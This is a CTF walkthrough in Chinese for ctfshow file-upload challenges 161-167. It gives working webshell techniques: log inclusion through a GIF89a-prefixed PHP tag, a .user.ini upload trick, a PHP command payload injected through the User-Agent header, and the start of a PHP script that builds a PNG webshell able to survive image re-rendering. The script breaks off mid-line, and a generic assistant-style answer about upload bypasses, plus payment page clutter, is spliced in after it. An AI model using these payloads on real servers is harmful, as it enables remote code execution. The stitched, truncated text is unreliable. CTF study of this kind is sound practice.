ctfshow 文件上传161-167


151-160: https://blog.youkuaiyun.com/qq_52671379/article/details/123977585

web161(关键字过滤,日志包含)

过滤了大部分关键字
可以利用日志包含绕过,图片内容
3duan.png

GIF89a
<?=include"/var/lo"."g/nginx/access.lo"."g"?>

因为log被过滤了。所以用拼接绕过
添加了文件头的检查,所以加入内容GIF89a绕过
思路:
.user.ini配置文件的利用
日志包含绕过
过滤system,反引号代替shell执行
步骤
先上传.user.ini.png文件(因为png为合法文件,之后抓包之后再修改文件名为.user.ini.)
然后再上传shell文件3duan.png
抓包修改ua头信息

User-Agent: <?=`tac ../f*` ?>

在这里插入图片描述访问/upload/index.php即可得到flag

web162 163(条件竞争)

没做出来,还在看
在这里插入图片描述在这里插入图片描述

web164(PNG图片二次渲染绕过)

PNG图片二次渲染配合文件包含漏洞原理:
将一句话木马插入到网站二次处理后的图片中,也就是把一句话插入图片在二次渲染后会保留的那部分数据里,确保不会在二次处理时删除掉。这样二次渲染后的图片中就存在了一句话,在配合文件包含漏洞获取webshell。
直接在图片中插入一句话会被删除掉,二次渲染会把上传到服务器的图片的代码改变,
利用脚本构造出一个png木马图片

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   
   
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round(
您好!对于CTF Show文件上传的问题,我可以给您一些基本的指导。 在CTF(Capture The Flag)比赛中,文件上传通常是一个常见的题目类型。这类题目要求参赛选手利用漏洞或者绕过限制,成功将文件上传到目标服务器上。 常见的文件上传漏洞包括但不限于以下几种: 1. 后缀绕过:目标服务器对上传文件的后缀进行了限制,但未对文件内容进行验证。您可以尝试修改文件后缀名,或者在上传时使用一些特殊的字符来绕过后缀检测。 2. MIME类型绕过:目标服务器对上传文件的MIME类型进行了检测,但未对文件内容进行验证。您可以尝试修改文件的Content-Type头部信息,或者在上传时使用一些特殊的字符来绕过MIME类型检测。 3. 目录穿越:目标服务器未对文件路径进行合理的校验,您可以尝试通过上传包含特殊字符(如'../')的文件名来实现目录穿越,达到上传文件到其他目录的目的。 4. 文件包含漏洞:目标服务器存在文件包含漏洞时,您可以通过上传一个恶意文件,然后在适当的条件下触发该文件被包含,从而执行您所需要的操作。 需要注意的是,在实际的CTF比赛或者演练中,上传文件是一个涉及安全性的操作,务必遵循规则和道德准则,避免对他人系统造成不必要的损害。 希望这些信息对您有所帮助!如果您有其他问题,请随时提问。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值